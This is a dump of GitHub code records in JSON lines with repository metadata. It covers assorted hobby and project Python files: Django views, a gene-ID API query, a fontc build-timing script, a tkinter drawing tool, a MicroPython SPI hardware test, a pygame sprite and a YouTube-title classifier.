meanings.\npython_words['dictionary']='A collection of key-value pairs. \\\n Each key can be used to access its corresponding value.'\n\nprint('\\ndictionary:' + python_words['dictionary'])\n","repo_name":"TejalDayal/Python","sub_path":"dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"13256524737","text":"import requests\n\n\ndef query_gene_symbol(gene_symbol, gene_json=None, chrom_filter=True):\n '''\n Function for query gene ensembl id with gene symbol. Using local json obj dumped from IGVF Catalog if available, which is quicker for large queries.\n Otherwise, query through the IGVF Catalog api.\n '''\n\n # only return mapping on chr1, chr2, ... chr22, chrX, chrY, if chrom_filter is True\n chrom_list = ['chr' + str(i) for i in range(1, 23)] + ['chrX', 'chrY']\n gene_ids = []\n if gene_json is None:\n data_service_url = 'https://api.catalog.igvf.org/api'\n endpoint = 'genes'\n query_string = 'gene_name=' + gene_symbol\n url = data_service_url + '/' + endpoint + '?' + query_string\n\n responses = requests.get(url).json()\n for response in responses:\n if chrom_filter:\n if response['chr'] in chrom_list:\n gene_ids.append(response['_id'])\n else:\n gene_ids.append(response['_id'])\n\n else:\n responses = []\n for record in gene_json:\n if record.get('gene_name') is not None:\n if gene_symbol == record['gene_name']:\n responses.append(record)\n\n for response in responses:\n if chrom_filter:\n if response['chr'] in chrom_list:\n gene_ids.append(response['_key'])\n else:\n gene_ids.append(response['_key'])\n\n return gene_ids\n","repo_name":"IGVF-DACC/igvf-catalog","sub_path":"data/data_loading_support_files/DepMap/query_gene_symbol.py","file_name":"query_gene_symbol.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"20"} +{"seq_id":"31261961726","text":"#!/usr/bin/env python3\n\"\"\"Helper for comparing the build time of two branches of fontc\n\nTurns each into ttx, eliminates expected sources of difference and prints\na brief summary of the result.\n\nfontmake should be installed in an active virtual environment.\n\nUsage:\n # On a branch with changes we think are a speedup\n python resources/scripts/time_build.py ../OswaldFont/sources/Oswald.glyphs\n\"\"\"\n\nfrom absl import app\nfrom absl import flags\nfrom pathlib import Path\nimport time\nfrom typing import MutableSequence\nimport statistics\nimport subprocess\nimport sys\n\n\nFLAGS = flags.FLAGS\n\n\nflags.DEFINE_string(\"baseline\", \"main\", \"The branch to use as baseline.\")\nflags.DEFINE_string(\n \"branch\", None, \"The branch with changes. If unset, the current branch.\"\n)\nflags.DEFINE_integer(\n \"warmup\", 2, \"How many times to build and ignore results, per branch.\"\n)\nflags.DEFINE_integer(\n \"reps\", 10, \"How many times to build and track results, per branch.\"\n)\nflags.DEFINE_bool(\n \"print_cmds\", False, \"Whether to print the subprocess spawn commands.\"\n)\n\n\ndef run(cmd: MutableSequence, **kwargs) -> str:\n cmd = tuple(str(s) for s in cmd)\n if FLAGS.print_cmds:\n cmd_string = \" \".join(cmd)\n print(cmd_string)\n result = subprocess.run(\n cmd,\n text=True,\n check=True,\n capture_output=True,\n **kwargs,\n )\n return result\n\n\ndef current_branch() -> str:\n return run((\"git\", \"rev-parse\", \"--abbrev-ref\", \"HEAD\")).stdout.strip()\n\n\ndef compile_time(source):\n # crude but we're looking for large deltas here\n start = time.perf_counter()\n run((\"target/release/fontc\", \"--source\", source, \"--emit-ir\", \"false\"))\n end = time.perf_counter()\n return end - start\n\n\ndef run_branch(branch, warmup, reps, source):\n print(f\"Switching to {branch}...\")\n run((\"git\", \"checkout\", branch))\n print(f\"Compiling the compiler...\")\n run((\"cargo\", \"build\", \"--release\"))\n print(f\"Clearing build/\")\n run((\"rm\", \"-rf\", \"build/\"))\n\n print(f\"Warming up...\")\n [compile_time(source) for _ in range(warmup)]\n print(f\"Capturing...\")\n times = [compile_time(source) for _ in range(reps)]\n return (statistics.mean(times), statistics.stdev(times))\n\n\ndef main(argv):\n initial_branch = current_branch()\n baseline_branch = FLAGS.baseline\n changed_branch = FLAGS.branch\n if changed_branch is None:\n changed_branch = current_branch()\n\n if baseline_branch == changed_branch:\n sys.exit(\n f\"Comparing {baseline_branch} to itself is meainingless, perhaps checkout the branch with changes?\"\n )\n\n if len(argv) != 2:\n sys.exit(\"Pass one argument, the path to a source to build\")\n\n source = Path(argv[1])\n if not source.is_file():\n sys.exit(f\"{source} is not a file\")\n\n print(f\"Compare {changed_branch} to {baseline_branch} running ${argv}\")\n print(f\"Warmup {FLAGS.warmup}, reps {FLAGS.reps}\")\n\n (base_mean, base_stdev) = run_branch(\n baseline_branch, FLAGS.warmup, FLAGS.reps, source\n )\n (changed_mean, changed_stdev) = run_branch(\n changed_branch, FLAGS.warmup, FLAGS.reps, source\n )\n\n print(\"branch mean stdev\")\n for (b, m, s) in [\n (baseline_branch, base_mean, base_stdev),\n (changed_branch, changed_mean, changed_stdev),\n ]:\n print(f\"{b} {m:.03} {s:.03}\")\n\n run((\"git\", \"checkout\", initial_branch))\n\n\nif __name__ == \"__main__\":\n app.run(main)\n","repo_name":"googlefonts/fontc","sub_path":"resources/scripts/time_build.py","file_name":"time_build.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"20"} +{"seq_id":"27457223127","text":"from django.shortcuts import render\nfrom django.template import loader\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.urls import reverse\nfrom .models import Members, Frutas\n\n\n\nfrom .models import Members\n\ndef index(request):\n mymembers = Members.objects.all().values()\n template = loader.get_template('index.html')\n context = {\n 'mymembers': mymembers,\n }\n return HttpResponse(template.render(context, request))\n\ndef add(request):\n template = loader.get_template('add.html')\n return HttpResponse(template.render({}, request))\n\ndef agregar_registro(request):\n x = request.POST['primo']\n y = request.POST['last']\n member = Members(nombre=x, apellido=y)\n member.save()\n return HttpResponseRedirect(reverse('index'))\n\ndef delete(request, id):\n member = Members.objects.get(id=id)\n member.delete()\n return HttpResponseRedirect(reverse('index'))\n\ndef update(request, id):\n mymember = Members.objects.get(id=id)\n template = loader.get_template('update.html')\n context = {\n 'mymember': mymember,\n }\n return HttpResponse(template.render(context, request))\n\ndef updaterecord(request, id):\n first = request.POST['first']\n doppo = request.POST['doppo']\n member = Members.objects.get(id=id)\n member.nombre = first\n member.apellido = doppo\n member.save()\n return HttpResponseRedirect(reverse('index'))\n\ndef saludar(request):\n template = loader.get_template('saludar.html')\n context = {\n 'nombre': 'Rosana',\n }\n return HttpResponse(template.render(context, request))\n\ndef saludando(request):\n mymembers = Members.objects.all().values()\n template = loader.get_template('saludar.html')\n context = {\n 'mymembers': mymembers,\n }\n return HttpResponse(template.render(context, request)) \n\ndef autoescape(request):\n template = loader.get_template('saludar.html')\n context = {\n 'heading': 'Hello <i>my</i> World!',\n 'footing': 'Hello <i>my</i> World!'\n }\n return HttpResponse(template.render(context, request))\n\ndef verbatim(request):\n lista = Members.objects.all().values()\n template = loader.get_template('saludar.html')\n context = {\n 'lista': lista,\n }\n return HttpResponse(template.render(context, request)) \n\ndef frutas(request):\n fruta = Frutas.objects.all().values()\n template = loader.get_template('frutas.html')\n context = {\n 'fruta':fruta,\n }\n return HttpResponse(template.render(context, request))\n\ndef suma_fruta(request):\n template = loader.get_template('suma_fruta.html')\n return HttpResponse(template.render({}, request))\n\ndef agregar_fruta(request):\n x = request.POST['fruta'] \n fruta = Frutas(fruta=x)\n fruta.save()\n return HttpResponseRedirect(reverse('frutas')) #este reverse hace ref a la FUNCION Y NO AL HTML\n\ndef sacar(request, id):\n fruta = Frutas.objects.get(id=id)\n fruta.delete()\n return HttpResponseRedirect(reverse('frutas'))\n\ndef testing(request): #.all() method to get all the records and fields of the Members model\n #mydata = Members.objects.values_list('nombre') #The values() method - (Members.objects.all().values()) return each object as a Python dictionary, names and values as key/value pairs:\n mydata=Members.objects.filter(nombre='rocco').values() #the values_list() method allows you to return only the columns that you specify.\n template = loader.get_template('testing.html') \n context= {\n 'mymembers': mydata\n }\n return HttpResponse(template.render(context, request))\n\ndef volver(request):\n pass\n return HttpResponseRedirect(reverse('index'))\n \n\n\n\n ","repo_name":"RosanaNei/myworld","sub_path":"members/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"16145332058","text":"import tkinter as tk, json, os\n# 初期設定 --- (※1)\nsavefile = 'drawtool.json'\nis_mouse_down = False # 描画中か判定する\npos = [0, 0] # マウスボタンを押した場所\nlines = [] # 描画データ\n\ndef main():\n # ウィンドウを作成しキャンバスとボタンを作成 --- (※2)\n global canvas\n app = tk.Tk()\n canvas = tk.Canvas(app, bg='white')\n app.geometry('800x600')\n canvas.pack(fill = tk.BOTH, expand = True)\n button = tk.Button(app, text=\"初期化\", command=clear_draw)\n button.pack()\n # マウスイベントの設定 --- (※3)\n canvas.bind('', mouse_down) # マウスボタンを押した時\n canvas.bind('', mouse_up) # 放した時\n canvas.bind('', mouse_move) # カーソル動かした時\n load_file()\n draw_screen()\n app.mainloop() # --- (※4)\n\ndef load_file(): # JSONを読み込む --- (※5)\n global lines\n if not os.path.exists(savefile): return\n with open(savefile, 'r', encoding='utf-8') as fp:\n lines = json.load(fp)\n\ndef save_file(): # 描画データをJSONで保存 --- (※6)\n with open(savefile, 'w', encoding='utf-8') as fp:\n json.dump(lines, fp)\n\ndef draw_screen(): # データを元に描画 --- (※7)\n canvas.delete('all')\n for v in lines:\n canvas.create_line(v[0], v[1], v[2], v[3], \n fill='black', width=10, capstyle=\"round\")\n\ndef mouse_down(e): # マウスボタンを押した時 --- (※8)\n global pos, is_mouse_down\n pos = [e.x, e.y]\n is_mouse_down = True\n\ndef mouse_up(e): # マウスボタンを放した時 --- (※9)\n global is_mouse_down\n mouse_move(e)\n save_file()\n is_mouse_down = False\n\ndef mouse_move(e): # カーソル移動した時 --- (※10)\n global pos\n if not is_mouse_down: return\n lines.append([pos[0], pos[1], e.x, e.y])\n pos = [e.x, e.y]\n draw_screen()\n\ndef clear_draw():\n lines.clear()\n draw_screen()\n \nif __name__ == '__main__': main()\n\n","repo_name":"kujirahand/book-json-sample","sub_path":"src/ch2/drawtool.py","file_name":"drawtool.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"ja","doc_type":"code","stars":15,"dataset":"github-code","pt":"20"} +{"seq_id":"10191460758","text":"# Do the serial interface between PC and DUT or DOUBLE\nfrom serial_interface_upython import SerialInterface\n# Library for testing with different asserts\nfrom should_dsl import should\n# Test class from wich our class inhereints\nimport unittest\n# Operational System Interface\nimport os\nimport sys\n# Utils\nimport time\nfrom time import sleep\n\nproduction_code = \"dut_master.py\"\ndouble_code = \"double_slave.py\"\nbuild = \"python -m mpy_cross -s -march=xtensa \"\nDUT_PORT = \"/dev/ttyUSB0\"\nDOUBLE_PORT = \"/dev/ttyUSB1\"\nsend = \"ampy --port \"\n# From set-up:\n# Building, connection and sending phase\ntry:\n\tprint(\"Building production code...\")\n\tos.system(build+production_code)\n\tprint(\"Building double code...\")\n\tos.system(build+double_code)\n\tprint(\"Cleaning the filesystem...\")\n\tdut_serial = SerialInterface(DUT_PORT, 115200)\n\tdut_serial.connect_to_serial()\n\tdut_serial.clean_file_sys()\n\tdut_serial.close_serial()\n\tdouble_serial = SerialInterface(DOUBLE_PORT, 115200)\n\tdouble_serial.connect_to_serial()\n\tdouble_serial.clean_file_sys()\n\tdouble_serial.close_serial()\n\tprint(\"Sending built production code...\")\n\tos.system(send+DUT_PORT+\" put \"+production_code)#.replace(\".py\",\".mpy\"))\n\tprint(\"Sending built double code...\")\n\tos.system(send+DOUBLE_PORT+\" put \"+double_code)#.replace(\".py\",\".mpy\"))\nexcept:\n\tsys.exit('fail to upload file(s)')\n# Uncomment the next line for not to run the Test\n# sys.exit()\n\n# Testing Phase\nclass Test_Template(unittest.TestCase):\n\t#Creates a serial connection and import the classes\n\tdef setUp(self):\n\t\tprint('\\n')\n\t\tprint(\"Connecting to DUT device...\")\n\t\tself.dut_serial = SerialInterface(DUT_PORT, 115200)\n\t\tself.dut_serial.connect_to_serial()\n\t\tprint(\"Connecting to DOUBLE device...\")\n\t\tself.double_serial = SerialInterface(DOUBLE_PORT, 115200)\n\t\tself.double_serial.connect_to_serial()\n\t\tself.dut_serial.repl(\"from dut_master import Dut_master\", 0.1) \n\t\tself.double_serial.repl(\"from double_slave import Double_slave\", 0.1) \n\n\n\tdef test_reading_registers_without_indicating_address(self):\n\t\tprint(\"\\nTesting the method read_registers_wo_address()\")\n\t\texpected_readings = [1,2,3]\n\t\tgotten_readings = []\n\t\tprint(\"Expected Readings \"+str(expected_readings))\n\t\t# 1 - Objects Creation\n\t\tself.double_serial.repl(\"slave = Double_slave(13,12,14,15)\",0.2)\n\t\tself.dut_serial.repl(\"master = Dut_master(13,12,14,15)\",0.2)\n\t\t# 2 - Input Injection\n\t\tself.double_serial.repl(\"slave.enable_transaction(\"+str(expected_readings)+\")\",0.2)\n\t\t# 3 - Results gathering\n\t\tgotten_readings = self.dut_serial.repl(\"master.read_registers_wo_address(3)\",0.2)[2]\n\t\tgotten_readings = gotten_readings.decode()\n\t\t# 4 - Assertion\n\t\tprint(\"Gotten value: \"+gotten_readings)\n\t\tgotten_readings |should| equal_to (str(expected_readings))\n\n\tdef test_reading_registers_indicating_address(self):\n\t\tprint(\"\\nTesting the method read_registers_w_address()\")\n\t\texpected_readings = [1,2,3]\n\t\texpected_written = [14,0,0,0]\n\t\tgotten_readings = []\n\t\tprint(\"Expected Readings \"+str(expected_readings))\n\t\t# 1 - Objects Creation\n\t\tself.double_serial.repl(\"slave = Double_slave(13,12,14,15)\",0.2)\n\t\tself.dut_serial.repl(\"master = Dut_master(13,12,14,15)\",0.2)\n\t\t# 2 - Input Injection\n\t\tself.double_serial.repl(\"slave.enable_transaction([0,1,2,3])\",0.2)\n\t\t# 3 - Results gathering\n\t\tgotten_readings = self.dut_serial.repl(\"master.read_registers_w_address(14,3)\",0.2)[2]\n\t\tgotten_readings = gotten_readings.decode()\n\t\tgotten_written = self.double_serial.repl(\"slave.get_received_buffer()\",0.2)[2]\n\t\tgotten_written = gotten_written.decode()\n\t\t# 4 - Assertion\n\t\tprint(\"Gotten value: \"+gotten_readings)\n\t\tgotten_readings |should| equal_to (str(expected_readings)) \n\t\tgotten_written |should| equal_to (str(expected_written))\n\n\tdef test_writing_registers_without_indicating_address(self):\n\t\tprint(\"\\nTesting the method write_registers_wo_address()\")\n\t\texpected_written = [1,2,3]\n\t\tgotten_values = []\n\t\tprint(\"Expected written values \"+str(expected_written))\n\t\t# 1 - Objects Creation\n\t\tself.double_serial.repl(\"slave = Double_slave(13,12,14,15)\",0.2)\n\t\tself.dut_serial.repl(\"master = Dut_master(13,12,14,15)\",0.2)\n\t\t# 2 - Input Injection \n\t\tself.double_serial.repl(\"slave.enable_transaction([0,0,0])\",0.2)\n\t\tself.dut_serial.repl(\"master.write_registers_wo_address(\"+str(expected_written)+\")\",0.2)\n\t\t# 3 - Results gathering\n\t\tgotten_values = self.double_serial.repl(\"slave.get_received_buffer()\", 0.2)[2]\n\t\tgotten_values = gotten_values.decode()\n\t\t# 4 - Assertion\n\t\tprint(\"Gotten value: \"+gotten_values)\n\t\tgotten_values |should| equal_to (str(expected_written))\n\n\tdef test_writing_registers_indicating_address(self):\n\t\tprint(\"\\nTesting the method write_registers_w_address()\")\n\t\texpected_written = [1,2,3]\n\t\taddress = 14\n\t\tgotten_values = []\n\t\tprint(\"Expected written values \"+str(expected_written))\n\t\t# 1 - Objects Creation\n\t\tself.double_serial.repl(\"slave = Double_slave(13,12,14,15)\",0.2)\n\t\tself.dut_serial.repl(\"master = Dut_master(13,12,14,15)\",0.2)\n\t\t# 2 - Input Injection \n\t\tself.double_serial.repl(\"slave.enable_transaction([0,0,0,0])\",0.2)\n\t\tself.dut_serial.repl(\"master.write_registers_w_address(\"+str(address)+\",\"+str(expected_written)+\")\",0.2)\n\t\t# 3 - Results gathering\n\t\tgotten_values = self.double_serial.repl(\"slave.get_received_buffer()\",0.2)[2]\n\t\tgotten_values = gotten_values.decode()\n\t\t# 4 - Assertion\n\t\tprint(\"Gotten value: \"+gotten_values)\n\t\texpected_written.insert(0,address)\n\t\tgotten_values |should| equal_to (str(expected_written))\n\n\t#closes serial \n\tdef tearDown(self):\n\t\tself.dut_serial.repl(\"master.deinit(); del master; del Dut_master;\", 0.2)\n\t\tself.double_serial.repl(\"slave.deinit(); del slave; del Double_slave;\", 0.2)\n\t\tself.dut_serial.close_serial()\n\t\tself.double_serial.close_serial()\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"saramonteiro/micropython_test_lib","sub_path":"SPI/test_master_slave.py","file_name":"test_master_slave.py","file_ext":"py","file_size_in_byte":5720,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"23"} +{"seq_id":"11090951031","text":"from django.shortcuts import render\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\n\n# Create your views here.\n\n\n# FBW - Function Based Views\n\n@api_view([\"GET\"])\ndef helloWorld(request):\n ime = request.GET['ime']\n prezime = request.GET.get(\"prezime\", \"Shuplinoski\")\n print(ime)\n data = {\"info\": \"Dobrodojdovte {} {}\".format(ime, prezime)}\n return Response(data)\n\n\n@api_view([\"GET\"])\ndef zbir_na_broevi(request):\n broj1 = int(request.GET.get('broj1', 0))\n broj2 = int(request.GET.get('broj2', 0))\n zbir = broj1 + broj2\n data = {\"poraka\": \"Zbirot na {} i {} e {}\".format(broj1, broj2, zbir),\n \"broj1\": broj1,\n \"broj2\": broj2,\n \"zbir\": zbir\n }\n return Response(data)\n\n\n@api_view([\"GET\"])\ndef odzemanje_na_broevi(request):\n broj1 = int(request.GET.get('broj1', 0))\n broj2 = int(request.GET.get('broj2', 0))\n odzemanje = broj1 - broj2\n data = {\n \"poraka\": \"Odzemanje na {} i {} = {}\".format(broj1, broj2, odzemanje)\n }\n return Response(data)\n\n\n@api_view([\"GET\"])\ndef mnozenje_na_broevi(request):\n broj1 = int(request.GET.get('broj1', 0))\n broj2 = int(request.GET.get('broj2', 0))\n mnozenje = broj1 * broj2\n data = {\n \"poraka\": \"Mnozenje na {} i {} = {}\".format(broj1, broj2, mnozenje)\n }\n return Response(data)\n\n\n@api_view([\"GET\"])\ndef delenje_na_broevi(request):\n broj1 = int(request.GET.get('broj1', 0))\n broj2 = int(request.GET.get('broj2', 0))\n delenje = broj1 / broj2\n data = {\n \"poraka\": \"Delenje na {} i {} = {}\".format(broj1, broj2, delenje)\n }\n return Response(data)\n\n\n@api_view([\"GET\"])\ndef mat_operacija(request):\n broj1 = int(request.GET.get('broj1', 0))\n broj2 = int(request.GET.get('broj2', 0))\n operacija = request.GET.get('operacija', None)\n if (operacija == 'sobiranje'):\n rezultat = broj1 + broj2\n return Response(rezultat)\n elif (operacija == 'odzemanje'):\n rezultat = broj1 - broj2\n return Response(rezultat)\n elif (operacija == 'mnozenje'):\n rezultat = broj1 * broj2\n return Response(rezultat)\n elif (operacija == 'delenje'):\n rezultat = broj1 / broj2\n return Response(rezultat)\n else:\n return Response('error')\n\n\n@api_view(['POST'])\ndef prv_post(request):\n print(request.data)\n ime = request.data.get('ime', None)\n prezime = request.data.get('prezime', None)\n return Response({'info': \"uspesno\"})\n\n\n@api_view([\"POST\"])\ndef mat_operacija2(request):\n broj1 = int(request.data.get('broj1', 0))\n broj2 = int(request.data.get('broj2', 0))\n operacija = request.data.get('operacija', None)\n if (operacija == 'sobiranje'):\n rezultat = broj1 + broj2\n return Response(rezultat)\n elif (operacija == 'odzemanje'):\n rezultat = broj1 - broj2\n return Response(rezultat)\n elif (operacija == 'mnozenje'):\n rezultat = broj1 * broj2\n return Response(rezultat)\n elif (operacija == 'delenje'):\n rezultat = broj1 / broj2\n return Response(rezultat)\n else:\n return Response('error')\n\n\n@api_view([\"POST\"])\ndef proverka_godini(request):\n ime = request.data.get('ime', None)\n godini = int(request.data.get('godini', None))\n if (godini > 18):\n return Response(\"{} e polnoleten\".format(ime))\n else:\n return Response(\"{} e maloleten\".format(ime))\n\n\n# CBW - Class Based Views\n\nclass PrvView(APIView):\n def get(self, request):\n broj1 = request.GET.get('broj1', 0)\n broj2 = request.GET.get('broj2', 0)\n return Response({\"info\": \"Uspesno kreirana API klasa\"})\n\n def post(self, request):\n broj1 = request.data.get('broj1', 0)\n broj2 = request.data.get('broj2', 0)\n return Response({\"info\": {\"Uspesno kreirano post metod\"}})\n\n\nclass ime(APIView):\n def get(self, request):\n ime = request.GET.get('ime', '')\n return Response({\"ime\": ime, \"Dolzina\": len(ime)})\n\n\nclass ime_god(APIView):\n def get(self, request):\n ime = request.GET.get('ime', '')\n return Response({\"Dobredojdovte\": ime})\n\n def post(self, request):\n ime = request.data.get('ime', '')\n god = int(request.data.get('god', 0))\n if (god > 18):\n return Response({ime: \"Polnoleten\"})\n else:\n return Response({ime: \"Maloleten\"})\n\n\nclass najgolem_broj(APIView):\n def post(self, request):\n broevi = request.data.get('lista',[])\n return Response(max(broevi))\n\nclass limit(APIView):\n def get(self, request):\n lista = []\n limit = int(request.GET.get('limit', 0))\n for i in range(limit):\n if i % 2 == 0:\n if(i!=0):\n lista.append(i)\n return Response(lista)\n","repo_name":"marjan-shuplinoski/django","sub_path":"first_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4860,"program_lang":"python","lang":"sh","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"26312246170","text":"import pygame as pg\nfrom load_image import load_image\n\n\nwidth = 40\nheight = 40\nGRAVITY = 0.35\n\n\nclass Ingridient(pg.sprite.Sprite):\n def __init__(self, x, y, name, group):\n super().__init__()\n self.image = load_image(name)\n self.name = name\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\n self.vx = 0\n self.vy = 0\n self.on = False\n self.group = group\n\n def mouse_over(self, mouse):\n if self.rect.collidepoint(mouse):\n return True\n\n def update_mouse(self, mouse, my_mouse):\n mouse_x, mouse_y = mouse\n self.rect.y = mouse_y - my_mouse[1]\n self.rect.x = mouse_x - my_mouse[0]\n self.vy = 0\n self.vx = 0\n self.on = False\n\n def update(self, platforms):\n if not self.on:\n self.vy += 0.35\n self.rect = self.rect.move(self.vx, self.vy)\n self.collide(platforms)\n\n def collide(self, platforms):\n for p in platforms:\n if pg.sprite.collide_rect(self, p):\n self.on = True\n self.rect.bottom = p.rect.top\n self.vy = 0\n\n def set_coords(self,x, y):\n self.rect.x = x\n self.rect.y = y\n\n","repo_name":"pumpkineater777/projectpygame","sub_path":"ingridient.py","file_name":"ingridient.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"44670237163","text":"import csv\nfrom classes import Comment\nfrom classes import Video\nfrom progress.bar import ChargingBar\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn import svm\nfrom sklearn.neural_network import MLPClassifier\nfrom functions import get_gaming_videos\nfrom functions import get_entertainment_videos\n\ncategory_id_dict = {\n \"1\": \"Film and Animation\",\n \"2\": \"Autos and Vehicles\",\n \"10\": \"Music\",\n \"15\": \"Pets and Animals\",\n \"17\": \"Sports\",\n \"18\": \"Short Movies\",\n \"19\": \"Travel and Events\",\n \"20\": \"Gaming\",\n \"21\": \"Vlogging\",\n \"22\": \"People and Blogs\",\n \"23\": \"Comedy\",\n \"24\": \"Entertainment\",\n \"25\": \"News & Politics\",\n \"26\": \"Howto & Style\",\n \"27\": \"Education\",\n \"28\": \"Science & Technology\",\n \"29\": \"Nonprofits & Activism\",\n \"30\": \"Nonprofits & Activism\",\n \"31\": \"Anime/Animation\",\n \"32\": \"Action/Adventure\",\n \"33\": \"Classics\",\n \"34\": \"Comedy\",\n \"35\": \"Documentary\",\n \"36\": \"Drama\",\n \"37\": \"Family\",\n \"38\": \"Foreign\",\n \"39\": \"Horror\",\n \"40\": \"Sci-Fi/Fantasy\",\n \"41\": \"Thriller\",\n \"42\": \"Shorts\",\n \"43\": \"Shows\",\n \"44\": \"Trailers\"\n}\n\ncomments = \"./data/UScomments.csv\"\ncomments_len = 0\nvideos = \"./data/USvideos.csv\"\nvideos_len = 0\n\nwith open(comments) as csvfile:\n read = csv.reader(csvfile)\n times = 0\n for row in read:\n times += 1\n comments_len = times\n\nwith open(videos) as csvfile:\n read = csv.reader(csvfile)\n times = 0\n for row in read:\n times += 1\n videos_len = times\n\ncomments_list = []\nvideos_list = []\n\nwith open(comments) as csvfile:\n read = csv.reader(csvfile)\n times = 0\n pbar = ChargingBar('Processing Comment Dataset', max=comments_len)\n for row in read:\n if times != 0:\n comments_list.append(Comment(row[0], row[1], row[2], row[4]))\n times += 1\n pbar.next()\n print(\"\\n\" + str(times-1) + \" comment dataset accounted.\" + \"\\n\")\n\nwith open(videos) as csvfile:\n read = csv.reader(csvfile)\n times = 0\n pbar = ChargingBar('Processing Comment Dataset', max=videos_len)\n for row in read:\n if times != 0:\n videos_list.append(Video(row[0], row[1], row[2], row[3], row[5], row[6], row[7]))\n times += 1\n pbar.next()\n print(\"\\n\" + str(times-1) + \" video dataset accounted.\" + \"\\n\")\n\ngaming_videos = get_gaming_videos(videos_list)\nentertainment_videos = get_entertainment_videos(videos_list)\n\nml_mode = input(\"What do you want to do?\\n1.Check Video Title Category\\n2.Will this video title get views\\n\\n\")\nif ml_mode == \"1\":\n training, test = train_test_split(videos_list, test_size=0.01, random_state=42)\n\n cat_id_as_text_train = []\n for video in training:\n cat_id_as_text_train.append(category_id_dict[str(video.categoryid)])\n\n cat_id_as_text_test = []\n for video in test:\n cat_id_as_text_test.append(category_id_dict[str(video.categoryid)])\n\n train_x = [x.title for x in training]\n train_y = cat_id_as_text_train\n\n test_x = [x.title for x in test]\n test_y = cat_id_as_text_test\n\n vectorizer = CountVectorizer()\n\n train_x_vectors = vectorizer.fit_transform(train_x)\n\n test_x_vectors = vectorizer.transform(test_x)\n\n #SVC\n clf_svm = svm.SVC(kernel=\"linear\")\n clf_svm.fit(train_x_vectors, train_y)\n\n clf_svm.predict(test_x_vectors)\n\n print(\"Score : \" + str(clf_svm.score(test_x_vectors, test_y) * 100) + \"%\\n\")\n\n yt_title_categories = True\n\n while yt_title_categories:\n test_set = []\n title = input(\"Name a title! (type exit to exit)\\n\")\n if title != \"exit\":\n test_set.append(title)\n else:\n break\n new_test = vectorizer.transform(test_set)\n\n print(clf_svm.predict(new_test))\nelif ml_mode == \"2\":\n training, test = train_test_split(videos_list, test_size=0.01, random_state=42)\n\n viewsx = []\n viewsx2 = []\n\n for video in training:\n if int(video.views) < 1000:\n viewsx.append(\"F\")\n elif int(video.views) < 10000:\n viewsx.append(\"D\")\n elif int(video.views) < 50000:\n viewsx.append(\"C-\")\n elif int(video.views) < 100000:\n viewsx.append(\"C+\")\n elif int(video.views) < 250000:\n viewsx.append(\"B-\")\n elif int(video.views) < 500000:\n viewsx.append(\"B\")\n elif int(video.views) < 750000:\n viewsx.append(\"B+\")\n elif int(video.views) < 1000000:\n viewsx.append(\"-A\")\n elif int(video.views) < 1500000:\n viewsx.append(\"A\")\n elif int(video.views) < 2000000:\n viewsx.append(\"A+\")\n elif int(video.views) < 5000000:\n viewsx.append(\"S-\")\n elif int(video.views) < 10000000:\n viewsx.append(\"S\")\n elif int(video.views) < 20000000:\n viewsx.append(\"S+\")\n else:\n viewsx.append(\"SSS\")\n\n for video in test:\n if int(video.views) < 1000:\n viewsx2.append(\"F\")\n elif int(video.views) < 10000:\n viewsx2.append(\"D\")\n elif int(video.views) < 50000:\n viewsx2.append(\"C-\")\n elif int(video.views) < 100000:\n viewsx2.append(\"C+\")\n elif int(video.views) < 250000:\n viewsx2.append(\"B-\")\n elif int(video.views) < 500000:\n viewsx2.append(\"B\")\n elif int(video.views) < 750000:\n viewsx2.append(\"B+\")\n elif int(video.views) < 1000000:\n viewsx2.append(\"-A\")\n elif int(video.views) < 1500000:\n viewsx2.append(\"A\")\n elif int(video.views) < 2000000:\n viewsx2.append(\"A+\")\n elif int(video.views) < 5000000:\n viewsx2.append(\"S-\")\n elif int(video.views) < 10000000:\n viewsx2.append(\"S-\")\n elif int(video.views) < 10000000:\n viewsx2.append(\"S\")\n elif int(video.views) < 20000000:\n viewsx2.append(\"S+\")\n else:\n viewsx2.append(\"SSS\")\n\n train_x = [x.title for x in training]\n train_y = viewsx\n\n test_x = [x.title for x in test]\n test_y = viewsx2\n\n vectorizer = CountVectorizer()\n\n train_x_vectors = vectorizer.fit_transform(train_x)\n\n test_x_vectors = vectorizer.transform(test_x)\n\n # Classification\n #clf_svm = svm.SVC(kernel=\"linear\")\n #clf_svm.fit(train_x_vectors, train_y)\n #clf_svm.predict(test_x_vectors)\n\n clf = MLPClassifier()\n clf.fit(train_x_vectors, train_y)\n\n yt_title_categories = True\n\n while yt_title_categories:\n test_set = []\n title = input(\"Name a title! (type exit to exit)\\n\")\n if title != \"exit\":\n test_set.append(title)\n else:\n break\n new_test = vectorizer.transform(test_set)\n\n print(clf.predict(new_test))\n","repo_name":"nabeeladzan/YTDML","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"41659801846","text":"from __future__ import annotations\n\nimport numpy as np\n\ndef is_colliding(obj1, *objs):\n \"\"\"Detects if two objects are colliding by the separating axis theorem.\n \n Objects are represented by their vertices (anti-clockwise).\n Args:\n obj1 (np.ndarray): The first object.\n obj2 (np.ndarray): The second object.\n\n Returns:\n bool: True if colliding, False otherwise.\n\n 